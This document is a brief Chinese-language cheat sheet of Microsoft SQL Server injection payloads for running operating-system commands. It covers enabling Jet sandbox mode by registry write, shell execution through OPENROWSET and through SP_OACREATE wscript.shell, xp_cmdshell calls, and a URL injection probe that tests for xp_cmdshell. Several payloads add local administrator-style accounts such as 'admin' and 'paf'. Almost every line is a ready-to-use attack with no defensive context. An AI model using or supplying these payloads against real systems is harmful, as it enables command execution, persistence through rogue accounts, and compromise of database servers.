// 执行命令
//-----------------------
首先开启沙盘模式：
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
然后利用jet.oledb执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
执行命令
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
判断xp_cmdshell扩展存储过程是否存在：
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
